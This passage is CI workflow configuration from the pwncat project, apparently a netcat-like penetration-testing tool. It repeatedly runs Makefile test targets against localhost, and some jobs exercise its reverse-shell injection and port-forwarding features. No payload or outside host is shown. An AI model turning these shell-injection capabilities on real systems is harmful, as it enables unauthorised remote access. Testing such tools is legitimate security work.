${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-windows-2.7.yml000066400000000000000000001203331414025024700225210ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: win-2.7 on: pull_request: push: branches: - master tags: jobs: test: runs-on: windows-latest strategy: fail-fast: False name: "[x64] [windows] python-2.7" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 2.7 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 # - name: "[OPTIONS] -C/--crlf" # shell: bash # run: | # # retry make _test-options--crlf # env: # RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo 